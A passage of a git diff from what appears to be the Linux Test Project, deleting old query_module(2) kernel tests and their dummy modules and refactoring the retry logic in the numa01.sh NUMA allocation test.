- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/*************************************************************************
- * Description: This is a kernel loadable module programme used by
- *		testcases of query_module(2)
- *************************************************************************/
-
-#define MODULE
-/* #define __KERNEL__    Commented this line out b/c it causes errors with
- *                       module.h when it calls /usr/include/linux/version.h
- *                       -12/03/02 Robbie Williamson <robbiew@us.ibm.com>
- */
-
-#include <asm/atomic.h>
-#include <linux/config.h>
-#include <linux/module.h>
-#include <linux/kernel.h>
-
-void dummy_func_test(void);
-
-/* Initialization routine of module */
-int init_module(void)
-{
-	return 0;
-}
-
-/* Cleanup routine of module */
-void cleanup_module(void)
-{
-	return;
-}
-
-/* Dummy function used by dependent module */
-void dummy_func_test(void)
-{
-	return;
-}
-
-EXPORT_SYMBOL(dummy_func_test);
diff --git a/testcases/kernel/module/query_module/dummy_query_mod_dep.c b/testcases/kernel/module/query_module/dummy_query_mod_dep.c
deleted file mode 100644
index 31c0293..0000000
--- a/testcases/kernel/module/query_module/dummy_query_mod_dep.c
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/*************************************************************************
- * Description: This is a kernel loadable module programme used by
- *		testcases of query_module(2). This module has dependency
- *		on dummy_query_mod module (calls function of dummy_del_mod
- *		during initialization).
- *************************************************************************/
-
-#define MODULE
-/* #define __KERNEL__    Commented this line out b/c it causes errors with
- *                       module.h when it calls /usr/include/linux/version.h
- *                       -12/03/02 Robbie Williamson <robbiew@us.ibm.com>
- */
-
-#include <linux/config.h>
-#include <asm/atomic.h>
-#include <linux/module.h>
-#include <linux/kernel.h>
-
-extern void dummy_func_test(void);
-
-/* Initialization routine of module */
-int init_module(void)
-{
-	/*
-	 * Call function of other module, does nothing, used to create
-	 * dependency with other module
-	 */
-	dummy_func_test();
-	return 0;
-}
-
-/* Cleanup routine of module */
-void cleanup_module(void)
-{
-	return;
-}
diff --git a/testcases/kernel/module/query_module/query_module01.c b/testcases/kernel/module/query_module/query_module01.c
deleted file mode 100644
index 29f61a8..0000000
--- a/testcases/kernel/module/query_module/query_module01.c
+++ /dev/null
@@ -1,373 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : query_module01
- *
- *    EXECUTED BY       : root / superuser
- *
- *    TEST TITLE        : Checking functionality of query_module(2)
- *
- *    TEST CASE TOTAL   : 6
- *
- *    AUTHOR            : Madhu T L <madhu.tarikere@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *      Verify that,
- *	1. query_module(2) is successful for NULL module name, which argument
- *	   set to 0.
- *	2. query_module(2) is successful for NULL module name, which argument
- *	   set to QM_MODULES.
- *	3. query_module(2) is successful for valid module name, which argument
- *	   set to QM_DEPS.
- *	4. query_module(2) is successful for valid module name, which argument
- *	   set to QM_REFS.
- *	5. query_module(2) is successful for valid module name, which argument
- *	   set to QM_INFO.
- *	6. query_module(2) is successful for valid module name, which argument
- *	   set to QM_SYMBOLS.
- *
- *      Setup:
- *	  Setup signal handling.
- *	  Test caller is superuser
- *	  Initialize  long module name
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return value and functionality, if success,
- *		 Issue PASS message
- *	Otherwise,
- *		Issue FAIL message
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  query_module01 [-c n] [-e] [-f] [-h] [-i n] [-I x] [-p] [-P x] [-t]
- *		where,  -c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-f   : Turn off functional testing
- *			-h   : Show help screen
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-p   : Pause for SIGUSR1 before starting
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- * RESTRICTIONS
- *	-c option has no effect for this testcase, even if used allows only
- *	one instance to run at a time.
- *
- * CHANGES
- *
- * 12/03/02 Added "force" to insmod to ignore kernel version.
- *          -Robbie Williamson <robbiew@us.ibm.com>
- *
- ****************************************************************/
-
-#include <errno.h>
-#include <pwd.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <limits.h>
-#include <asm/atomic.h>
-#include <linux/module.h>
-#include "test.h"
-
-#ifndef PAGE_SIZE
-#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)
-#endif
-
-#define LONGMODNAMECHAR	'm'	/* Arbitrarily selected */
-#define MODNAMEMAX	(PAGE_SIZE + 1)
-#define EXP_RET_VAL	0
-#define DUMMY_MOD	"dummy_query_mod"
-#define DUMMY_MOD_DEP	"dummy_query_mod_dep"
-#define QM_INVALID	(QM_INFO + 100)
-
-/* Name of exported function in DUMMY_MOD */
-#define EXP_FUNC_NAME	"dummy_func_test"
-
-struct test_case_t {		/* test case structure */
-	char *modname;
-	int which;
-	char *desc;
-	int (*setup) (void);	/* Individual setup routine */
-	void (*cleanup) (void);	/* Individual cleanup routine */
-};
-
-char *TCID = "query_module01";
-static char longmodname[MODNAMEMAX];
-static int testno;
-static char out_buf[PAGE_SIZE];
-static size_t ret;
-
-static int test_functionality(int, char *, size_t, size_t);
-static void setup(void);
-static void cleanup(void);
-static int setup1(void);
-static void cleanup1(void);
-static int setup2(void);
-static void cleanup2(void);
-
-static struct test_case_t tdat[] = {
-	{NULL, 0, "module name: NULL, which: 0", NULL, NULL},
-
-	{NULL, QM_MODULES, "NULL module name, which: QM_MODULES",
-	 setup1, cleanup1},
-
-	{DUMMY_MOD_DEP, QM_DEPS, "valid module name, which: QM_DEPS",
-	 setup2, cleanup2},
-
-	{DUMMY_MOD, QM_REFS, "valid module name, which: QM_REFS",
-	 setup2, cleanup2},
-
-	{DUMMY_MOD, QM_INFO, "valid module name, which: QM_INFO",
-	 setup1, cleanup1},
-
-	{DUMMY_MOD, QM_SYMBOLS, "valid module name, which: QM_SYMBOLS",
-	 setup1, cleanup1},
-};
-
-int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-int main(int argc, char **argv)
-{
-	int lc;
-	size_t buflen = sizeof(out_buf);
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	tst_tmpdir();
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			if ((tdat[testno].setup) && (tdat[testno].setup())) {
-				/* setup() failed, skip this test */
-				continue;
-			}
-
-			TEST(query_module(tdat[testno].modname,
-					  tdat[testno].which, (void *)out_buf,
-					  buflen, &ret));
-
-			if ((TEST_RETURN == EXP_RET_VAL) &&
-			    !test_functionality(tdat[testno].which,
-						out_buf, buflen, ret)) {
-				tst_resm(TPASS, "query_module() successful "
-					 "for %s", tdat[testno].desc);
-			} else {
-				tst_resm(TFAIL, "query_module() failed for "
-					 "%s ; returned"
-					 " %d (expected %d), errno %d (expected"
-					 " 0)", tdat[testno].desc,
-					 TEST_RETURN, EXP_RET_VAL, TEST_ERRNO);
-			}
-			if (tdat[testno].cleanup) {
-				tdat[testno].cleanup();
-			}
-		}
-	}
-	cleanup();
-	tst_exit();
-}
-
-int test_functionality(int which, char *buf, size_t bufsize, size_t ret)
-{
-	int i = 0;
-	char *modname;
-	unsigned long *vals;
-
-	switch (which) {
-	case 0:
-		/* Always return SUCCESS */
-		return 0;
-
-	case QM_MODULES:
-	case QM_DEPS:
-		/* Return SUCCESS if found DUMMY_MOD entry */
-		modname = DUMMY_MOD;
-		break;
-
-	case QM_REFS:
-		/* Return SUCCESS if found DUMMY_MOD_DEP entry */
-		modname = DUMMY_MOD_DEP;
-		break;
-
-	case QM_INFO:
-		/*
-		 * Since module is already loaded, flags should show
-		 * MOD_RUNNING
-		 */
-		if (((struct module_info *)buf)->flags & MOD_RUNNING) {
-			return 0;
-		}
-		return 1;
-
-	case QM_SYMBOLS:
-		vals = (unsigned long *)buf;
-
-		/*
-		 * Find entry for atleast one symbol, checking for
-		 * EXP_FUNC_NAME symbol, if found return SUCCESS.
-		 */
-		for (i = 0; i < ret; i++, vals += 2) {
-
-			/* buf + vals[1] - address of symbol name */
-			if (!strcmp(buf + vals[1], EXP_FUNC_NAME)) {
-				return 0;
-			}
-		}
-		return 1;
-
-	default:
-		/* Unknown which type */
-		return 1;
-	}
-
-	/* Return SUCCESS if found entry */
-	for (i = 0; i != ret; i++) {
-		if (strcmp(buf, modname)) {
-			buf += strlen(buf) + 1;
-		} else {
-			return 0;
-		}
-	}
-	return 1;
-
-}
-
-/* Insert a module of name mod */
-int insert_mod(char *mod)
-{
-	char cmd[80];
-
-	if (sprintf(cmd, "cp `which %s.o` ./", mod) == -1) {
-		tst_resm(TBROK, "sprintf failed");
-		return 1;
-	}
-	if (system(cmd) != 0) {
-		tst_resm(TBROK, "Failed to copy %s module", mod);
-		return 1;
-	}
-
-	/* Should use force to ignore kernel version & insure loading  */
-	/* -RW                                                         */
-	/* if (sprintf(cmd, "insmod %s.o", mod) == -1) {               */
-	if (sprintf(cmd, "insmod --force -q %s.o >/dev/null 2>&1", mod) == -1) {
-		tst_resm(TBROK, "sprintf failed");
-		return 1;
-	}
-	if (system(cmd) != 0) {
-		tst_resm(TBROK, "Failed to load %s module", mod);
-		return 1;
-	}
-	return 0;
-}
-
-int setup1(void)
-{
-	if (insert_mod(DUMMY_MOD)) {
-		/* Failed */
-		return 1;
-	} else {
-		return 0;
-	}
-}
-
-int setup2(void)
-{
-	if (insert_mod(DUMMY_MOD)) {
-		/* Failed */
-		return 1;
-	}
-	if (insert_mod(DUMMY_MOD_DEP)) {
-		/* Falied to load DUMMY_MOD_DEP, unload DUMMY_MOD */
-		cleanup1();
-		return 1;
-	}
-	return 0;
-}
-
-void cleanup1(void)
-{
-	/* Remove the loadable module - DUMMY_MOD */
-	if (system("rmmod " DUMMY_MOD) != 0) {
-		tst_brkm(TBROK, cleanup, "Failed to unload module %s",
-			 DUMMY_MOD);
-	}
-}
-
-void cleanup2(void)
-{
-	/* Remove the loadable module - DUMMY_MOD_DEP */
-	if (system("rmmod " DUMMY_MOD_DEP) != 0) {
-		tst_brkm(TBROK, cleanup, "Failed to unload module %s",
-			 DUMMY_MOD_DEP);
-	}
-	/* Remove the loadable module - DUMMY_MOD */
-	cleanup1();
-}
-
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	if (tst_kvercmp(2, 5, 48) >= 0)
-		tst_brkm(TCONF, NULL, "This test will not work on "
-			 "kernels after 2.5.48");
-
-	/* Initialize longmodname to LONGMODNAMECHAR character */
-	memset(longmodname, LONGMODNAMECHAR, MODNAMEMAX - 1);
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-	/*
-	 * print timing stats if that option was specified.
-	 * print errno log if that option was specified.
-	 */
-
-	tst_rmdir();
-}
diff --git a/testcases/kernel/module/query_module/query_module02.c b/testcases/kernel/module/query_module/query_module02.c
deleted file mode 100644
index fcae25d..0000000
--- a/testcases/kernel/module/query_module/query_module02.c
+++ /dev/null
@@ -1,205 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : query_module02
- *
- *    EXECUTED BY       : anyone
- *
- *    TEST TITLE        : Checking error conditions for query_module(2)
- *
- *    TEST CASE TOTAL   : 5
- *
- *    AUTHOR            : Madhu T L <madhu.tarikere@wipro.com>
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	Verify that,
- *	1. query_module(2) returns -1 and sets errno to ENOENT for non-existing
- *	   module.
- *	2. query_module(2) returns -1 and sets errno to EINVAL for invalid
- *	   which argument.
- *	3. query_module(2) returns -1 and sets errno to EINVAL for NULL
- *	   module name and valid which argument.
- *      4. query_module(2) returns -1 and sets errno to EINVAL, if module
- *         name parameter is null terminated (zero length) string.
- *	5. query_module(2) returns -1 and sets errno to ENAMETOOLONG for long
- *	   module name.
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Initialize  long module name
- *	  Set expected errnos for logging
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code and error number, if matching,
- *		Issue PASS message
- *	  Otherwise,
- *		Issue FAIL message
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  query_module02 [-c n] [-e] [-f] [-h] [-i n] [-I x] [-p] [-P x] [-t]
- *		where,  -c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-f   : Turn off functional testing
- *			-h   : Show help screen
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-p   : Pause for SIGUSR1 before starting
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- ****************************************************************/
-
-#include <errno.h>
-#include <pwd.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <limits.h>
-#include <asm/atomic.h>
-#include <linux/module.h>
-#include "test.h"
-
-#ifndef PAGE_SIZE
-#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)
-#endif
-
-#define NULLMODNAME	""
-#define LONGMODNAMECHAR	'm'	/* Arbitrarily selected */
-#define MODNAMEMAX	(PAGE_SIZE + 1)
-#define EXP_RET_VAL	-1
-#define QM_INVALID	(QM_INFO + 100)
-
-struct test_case_t {		/* test case structure */
-	char *modname;
-	int which;
-	void *buf;
-	size_t bufsize;
-	int experrno;		/* expected errno */
-	char *desc;
-};
-
-char *TCID = "query_module02";
-
-static char longmodname[MODNAMEMAX];
-static int testno;
-static char out_buf[PAGE_SIZE];
-static size_t ret_size;
-
-static void setup(void);
-static void cleanup(void);
-
-static struct test_case_t tdat[] = {
-
-	{"dummy_mod", QM_REFS, (void *)out_buf, sizeof(out_buf), ENOENT,
-	 "results for non-existing module"}
-	,
-
-	{NULL, QM_INVALID, (void *)out_buf, sizeof(out_buf), EINVAL,
-	 "results for invalid which argument"}
-	,
-
-	{NULL, QM_REFS, (void *)out_buf, sizeof(out_buf), EINVAL,
-	 "results for NULL module name and valid which argument"}
-	,
-
-	{NULLMODNAME, QM_REFS, (void *)out_buf, sizeof(out_buf), EINVAL,
-	 "results for null terminated (zero lenght) module name"}
-	,
-
-	{longmodname, QM_REFS, (void *)out_buf, sizeof(out_buf), ENAMETOOLONG,
-	 "results for long module name"}
-	,
-};
-
-int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			TEST(query_module(tdat[testno].modname,
-					  tdat[testno].which, tdat[testno].buf,
-					  tdat[testno].bufsize, &ret_size));
-			if ((TEST_RETURN == EXP_RET_VAL) &&
-			    (TEST_ERRNO == tdat[testno].experrno)) {
-				tst_resm(TPASS, "Expected %s, errno: %d",
-					 tdat[testno].desc, TEST_ERRNO);
-			} else {
-				tst_resm(TFAIL, "Unexpected %s ; returned"
-					 " %d (expected %d), errno %d (expected"
-					 " %d)", tdat[testno].desc,
-					 TEST_RETURN, EXP_RET_VAL,
-					 TEST_ERRNO, tdat[testno].experrno);
-			}
-		}
-	}
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	if (tst_kvercmp(2, 5, 48) >= 0)
-		tst_brkm(TCONF, NULL, "This test will not work on "
-			 "kernels after 2.5.48");
-
-	/* Initialize longmodname to LONGMODNAMECHAR character */
-	memset(longmodname, LONGMODNAMECHAR, MODNAMEMAX - 1);
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-
-}
diff --git a/testcases/kernel/module/query_module/query_module03.c b/testcases/kernel/module/query_module/query_module03.c
deleted file mode 100644
index cdb0494..0000000
--- a/testcases/kernel/module/query_module/query_module03.c
+++ /dev/null
@@ -1,272 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : query_module03
- *
- *    EXECUTED BY       : root / superuser
- *
- *    TEST TITLE        : Checking error conditions for query_module(2)
- *
- *    TEST CASE TOTAL   : 4
- *
- *    AUTHOR            : Madhu T L <madhu.tarikere@wipro.com>
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	Verify that,
- *	1. query_module(2) returns -1 and sets errno to EFAULT for module name
- *	   argument outside program's accessible address space.
- *	2. query_module(2) returns -1 and sets errno to EFAULT for return size
- *	   argument outside program's accessible address space.
- *	3. query_module(2) returns -1 and sets errno to EFAULT for output buffer
- *	   argument outside program's accessible address space.
- *	4. query_module(2) returns -1 and sets errno to ENOSPC for too small
- *	   buffer size.
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Test caller is superuser
- *	  Set expected errnos for logging
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code and error number, if matching,
- *		Issue PASS message
- *	  Otherwise,
- *		Issue FAIL message
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  query_module03 [-c n] [-e] [-f] [-h] [-i n] [-I x] [-p] [-P x] [-t]
- *		where,  -c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-f   : Turn off functional testing
- *			-h   : Show help screen
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-p   : Pause for SIGUSR1 before starting
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- * RESTRICTIONS
- *	-c option has no effect for this testcase, even if used allows only
- *	one instance to run at a time.
- *
- * CHANGES
- *
- * 12/03/02 Added "force" to insmod to ignore kernel version.
- *          -Robbie Williamson <robbiew@us.ibm.com>
- *
- ****************************************************************/
-
-#include <unistd.h>
-#include <errno.h>
-#include <pwd.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <limits.h>
-#include <asm/atomic.h>
-#include <linux/module.h>
-#include <sys/mman.h>
-#include "test.h"
-
-#ifndef PAGE_SIZE
-#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)
-#endif
-
-#define EXP_RET_VAL	-1
-#define DUMMY_MOD	"dummy_query_mod"
-#define SMALLBUFSIZE	1
-
-struct test_case_t {		/* test case structure */
-	char *modname;
-	int which;
-	void *buf;
-	size_t bufsize;
-	size_t *ret_size;
-	int experrno;		/* expected errno */
-	char *desc;
-	int (*setup) (void);
-	void (*cleanup) (void);
-};
-
-char *TCID = "query_module03";
-
-static int testno;
-static char out_buf[PAGE_SIZE];
-static size_t ret_size;
-
-char *bad_addr = 0;
-
-static void setup(void);
-static void cleanup(void);
-static int setup1(void);
-static void cleanup1(void);
-
-static struct test_case_t tdat[] = {
-
-	{(char *)-1, QM_MODULES, (void *)out_buf, sizeof(out_buf), &ret_size,
-	 EFAULT, "results for module name argument outside program's "
-	 "accessible address space", NULL, NULL}
-	,
-
-	{NULL, QM_MODULES, (void *)out_buf, sizeof(out_buf), (size_t *) - 1,
-	 EFAULT, "results for return size argument outside program's "
-	 "accessible address space", NULL, NULL}
-	,
-
-	{NULL, QM_MODULES, (void *)-1, sizeof(out_buf), &ret_size, EFAULT,
-	 "results for output buffer argument outside program's "
-	 "accessible address space", setup1, cleanup1}
-	,
-
-	{NULL, QM_MODULES, (void *)out_buf, SMALLBUFSIZE, &ret_size, ENOSPC,
-	 "results for too small buffer size", setup1, cleanup1},
-};
-
-int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	tst_tmpdir();
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			if ((tdat[testno].setup) && (tdat[testno].setup())) {
-				/* setup() failed, skip this test */
-				continue;
-			}
-			TEST(query_module(tdat[testno].modname,
-					  tdat[testno].which, tdat[testno].buf,
-					  tdat[testno].bufsize,
-					  tdat[testno].ret_size));
-			if ((TEST_RETURN == EXP_RET_VAL) &&
-			    (TEST_ERRNO == tdat[testno].experrno)) {
-				tst_resm(TPASS, "Expected %s, errno: %d",
-					 tdat[testno].desc, TEST_ERRNO);
-			} else {
-				tst_resm(TFAIL, "Unexpected %s ; returned"
-					 " %d (expected %d), errno %d (expected"
-					 " %d)", tdat[testno].desc,
-					 TEST_RETURN, EXP_RET_VAL,
-					 TEST_ERRNO, tdat[testno].experrno);
-			}
-			if (tdat[testno].cleanup) {
-				tdat[testno].cleanup();
-			}
-		}
-	}
-	cleanup();
-	tst_exit();
-}
-
-int setup1(void)
-{
-	char cmd[80];
-
-	if (sprintf(cmd, "cp `which %s.o` ./", DUMMY_MOD) == -1) {
-		tst_resm(TBROK, "sprintf failed");
-		return 1;
-	}
-	if (system(cmd) != 0) {
-		tst_resm(TBROK, "Failed to copy %s module", DUMMY_MOD);
-		return 1;
-	}
-
-	/* Should use force to ignore kernel version & insure loading  */
-	/* -RW                                                         */
-	/* if (sprintf(cmd, "insmod %s.o", DUMMY_MOD) == -1) {         */
-	if (sprintf(cmd, "insmod --force -q %s.o >/dev/null 2>&1", DUMMY_MOD) ==
-	    -1) {
-		tst_resm(TBROK, "sprintf failed");
-		return 1;
-	}
-	if (system(cmd) != 0) {
-		tst_resm(TBROK, "Failed to load %s module", DUMMY_MOD);
-		return 1;
-	}
-	return 0;
-}
-
-void cleanup1(void)
-{
-	/* Remove the loadable module - DUMMY_MOD */
-	if (system("rmmod " DUMMY_MOD) != 0) {
-		tst_brkm(TBROK, cleanup, "Failed to unload module %s",
-			 DUMMY_MOD);
-	}
-}
-
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	if (tst_kvercmp(2, 5, 48) >= 0)
-		tst_brkm(TCONF, NULL, "This test will not work on "
-			 "kernels after 2.5.48");
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
-
-	bad_addr = mmap(0, 1, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmap failed");
-	}
-	tdat[0].modname = bad_addr;
-	tdat[2].buf = (void *)bad_addr;
-
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-	/*
-	 * print timing stats if that option was specified.
-	 * print errno log if that option was specified.
-	 */
-	tst_rmdir();
-}
diff --git a/testcases/kernel/numa/numa01.sh b/testcases/kernel/numa/numa01.sh
index fd3b4be..327fa2f 100755
--- a/testcases/kernel/numa/numa01.sh
+++ b/testcases/kernel/numa/numa01.sh
@@ -59,31 +59,23 @@
 	echo $(numastat -p $pid |awk '/^Total/ {print $'$node'}')
 }
 
-wait_for_support_numa()
+check_for_support_numa()
 {
 	local pid=$1
-	local retries=20
 
-	while [ $retries -gt 0 ]; do
-		local state=$(awk '{print $3}' /proc/$pid/stat)
+	local state=$(awk '{print $3}' /proc/$pid/stat)
 
-		if [ $state = 'T' ]; then
-			break
-		fi
-
-		retries=$((retries-1))
-		tst_sleep 50ms
-	done
-
-	if [ $retries -le 0 ]; then
-		tst_brk TBROK "Timeouted while waiting for support_numa ($pid)"
+	if [ $state = 'T' ]; then
+		return 0
 	fi
+
+	return 1
 }
 
 setup()
 {
 	export MB=$((1024*1024))
-	export PAGE_SIZE=$(getconf PAGE_SIZE)
+	export PAGE_SIZE=$(tst_getconf PAGESIZE)
 	export HPAGE_SIZE=$(awk '/Hugepagesize:/ {print $2}' /proc/meminfo)
 
 	total_nodes=0
@@ -109,7 +101,7 @@
 		numactl --cpunodebind=$node --membind=$node support_numa alloc_1MB &
 		pid=$!
 
-		wait_for_support_numa $pid
+		TST_RETRY_FUNC "check_for_support_numa $pid" 0
 
 		Mem_curr=$(echo "$(extract_numastat_p $pid $node) * $MB" |bc)
 		if [ $(echo "$Mem_curr < $MB" | bc) -eq 1 ]; then
@@ -143,7 +135,7 @@
 		numactl --cpunodebind=$node --preferred=$Preferred_node support_numa alloc_1MB &
 		pid=$!
 
-		wait_for_support_numa $pid
+		TST_RETRY_FUNC "check_for_support_numa $pid" 0
 
 		Mem_curr=$(echo "$(extract_numastat_p $pid $Preferred_node) * $MB" |bc)
 		if [ $(echo "$Mem_curr < $MB" |bc ) -eq 1 ]; then
@@ -179,7 +171,7 @@
 		numactl --cpunodebind=$node --preferred=$Preferred_node support_numa alloc_1MB_shared &
 		pid=$!
 
-		wait_for_support_numa $pid
+		TST_RETRY_FUNC "check_for_support_numa $pid" 0
 
 		Mem_curr=$(echo "$(extract_numastat_p $pid $Preferred_node) * $MB" |bc)
 		if [ $(echo "$Mem_curr < $MB" |bc ) -eq 1 ]; then
@@ -206,7 +198,7 @@
 	numactl --interleave=all support_numa alloc_1MB &
 	pid=$!
 
-	wait_for_support_numa $pid
+	TST_RETRY_FUNC "check_for_support_numa $pid" 0
 
 	for node in $nodes_list; do
 		Mem_curr=$(echo "$(extract_numastat_p $pid $node) * $MB" |bc)
@@ -233,7 +225,7 @@
 	numactl --interleave=all support_numa alloc_1MB_shared &
 	pid=$!
 
-	wait_for_support_numa $pid
+	TST_RETRY_FUNC "check_for_support_numa $pid" 0
 
 	for node in $nodes_list; do
 		Mem_curr=$(echo "$(extract_numastat_p $pid $node) * $MB" |bc)
@@ -292,7 +284,7 @@
 		numactl --cpunodebind=$node --localalloc support_numa alloc_1MB &
 		pid=$!
 
-		wait_for_support_numa $pid
+		TST_RETRY_FUNC "check_for_support_numa $pid" 0
 
 		Mem_curr=$(echo "$(extract_numastat_p $pid $node) * $MB" |bc)
 		if [ $(echo "$Mem_curr < $MB" |bc ) -eq 1 ]; then
@@ -308,6 +300,11 @@
 	tst_res TPASS "NUMA local node allocation"
 }
 
+check_ltp_numa_test8_log()
+{
+	grep -m1 -q '.' ltp_numa_test8.log
+}
+
 # Verification of memhog with interleave policy
 test8()
 {
@@ -315,19 +312,10 @@
 	# Memory will be allocated using round robin on nodes.
 	Exp_incr=$(echo "$MB / $total_nodes" |bc)
 
-	numactl --interleave=all memhog -r1000000 1MB 2>&1 >ltp_numa_test8.log &
+	numactl --interleave=all memhog -r1000000 1MB >ltp_numa_test8.log 2>&1 &
 	pid=$!
 
-	local retries=20
-	while [ $retries -gt 0 ]; do
-
